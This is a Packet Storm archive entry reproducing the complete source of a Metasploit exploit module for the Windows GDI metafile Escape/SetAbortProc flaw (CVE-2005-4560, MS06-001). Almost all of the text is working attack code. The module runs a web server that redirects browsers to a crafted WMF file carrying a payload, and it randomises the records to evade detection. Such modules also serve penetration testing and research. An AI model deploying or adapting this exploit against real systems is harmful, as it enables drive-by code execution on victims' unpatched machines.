Windows XP/2003/Vista Metafile Escape() SetAbortProc Code Execution

2009-11-26T00:00:00
ID PACKETSTORM:82985
Type packetstorm
Reporter H D Moore
Modified 2009-11-26T00:00:00

Description

                                        
                                            `##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
#  
# This module acts as an HTTP server  
#  
include Msf::Exploit::Remote::HttpServer::HTML  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Windows XP/2003/Vista Metafile Escape() SetAbortProc Code Execution',  
'Description' => %q{  
This module exploits a vulnerability in the GDI library included with  
Windows XP and 2003. This vulnerability uses the 'Escape' metafile function  
to execute arbitrary code through the SetAbortProc procedure. This module  
generates a random WMF record stream for each request.  
},  
'License' => MSF_LICENSE,  
'Author' =>   
[   
'hdm',   
'san <san@xfocus.org>',  
'O600KO78RUS@unknown.ru',  
],  
'Version' => '$Revision$',  
'References' =>   
[  
['CVE', '2005-4560'],  
['OSVDB', '21987'],  
['MSB', 'MS06-001'],  
['BID', '16074'],  
['URL', 'http://www.microsoft.com/technet/security/advisory/912840.mspx'],   
['URL', 'http://wvware.sourceforge.net/caolan/ora-wmf.html'],  
['URL', 'http://www.geocad.ru/new/site/Formats/Graphics/wmf/wmf.txt'],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Payload' =>  
{  
'Space' => 1000 + (rand(256).to_i * 4),  
'BadChars' => "\x00",  
'Compat' =>   
{  
'ConnectionType' => '-find',  
},  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows XP/2003/Vista Automatic', { }],  
],  
'DisclosureDate' => 'Dec 27 2005',  
'DefaultTarget' => 0))  
end  
  
def on_request_uri(cli, request)  
  
  
ext = 'wmf'  
  
if (not request.uri.match(/\.wmf$/i))  
html =  
"<html><meta http-equiv='refresh' content='0; URL=" +  
get_resource + '/' +   
rand_text_alphanumeric(rand(80)+16) +   
".#{ext}'><body>One second please...</body></html>"  
send_response_html(cli, html)  
return  
end  
  
# Re-generate the payload  
return if ((p = regenerate_payload(cli)) == nil)  
  
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")  
  
# Transmit the compressed response to the client  
send_response(cli, generate_metafile(p), { 'Content-Type' => 'text/plain' })  
  
# Handle the payload  
handler(cli)  
end  
  
def generate_metafile(payload)  
  
# Minimal length values before and after the Escape record  
pre_mlen = 1440 + rand(8192)  
suf_mlen = 128 + rand(8192)  
  
# Track the number of generated records  
fill = 0  
  
# The prefix and suffix buffers  
pre_buff = ''  
suf_buff = ''  
  
# Generate the prefix  
while (pre_buff.length < pre_mlen)   
pre_buff << generate_record()  
fill += 1  
end  
  
# Generate the suffix  
while (suf_buff.length < suf_mlen)   
suf_buff << generate_record()  
fill += 1  
end  
  
clen = 18 + 8 + 6 + payload.encoded.length + pre_buff.length + suf_buff.length  
data =  
#  
# WindowsMetaHeader  
#  
[  
# WORD FileType; /* Type of metafile (1=memory, 2=disk) */  
rand(2)+1,  
# WORD HeaderSize; /* Size of header in WORDS (always 9) */  
9,  
# WORD Version; /* Version of Microsoft Windows used */  
( rand(2).to_i == 1 ? 0x0300 : 0x0100 ),  
# DWORD FileSize; /* Total size of the metafile in WORDs */  
clen/2,  
# WORD NumOfObjects; /* Number of objects in the file */  
rand(0xffff),  
# DWORD MaxRecordSize; /* The size of largest record in WORDs */  
rand(0xffffffff),  
# WORD NumOfParams; /* Not Used (always 0) */  
rand(0xffff),  
].pack('vvvVvVv') +  
#  
# Filler data  
#  
pre_buff +  
#  
# StandardMetaRecord - Escape()  
#  
[  
# DWORD Size; /* Total size of the record in WORDs */  
4,  
# WORD Function; /* Function number (defined in WINDOWS.H) */  
(rand(256).to_i << 8) + 0x26,  
# WORD Parameters[]; /* Parameter values passed to function */  
9,   
].pack('Vvv') + payload.encoded +  
#  
# Filler data  
#  
suf_buff +  
#  
# Complete the stream  
#  
[3, 0].pack('Vv') +  
#  
# Some extra fun padding  
#  
rand_text(rand(16384)+1024)  
  
return data  
  
end  
  
def generate_record  
type = rand(3)  
  
case type  
when 0  
# CreatePenIndirect  
return [8, 0x02fa].pack('Vv') + rand_text(10)  
when 1  
# CreateBrushIndirect  
return [7, 0x02fc].pack('Vv') + rand_text(8)   
else  
# Rectangle  
return [7, 0x041b].pack('Vv') + rand_text(8)  
end  
end  
  
  
end  
`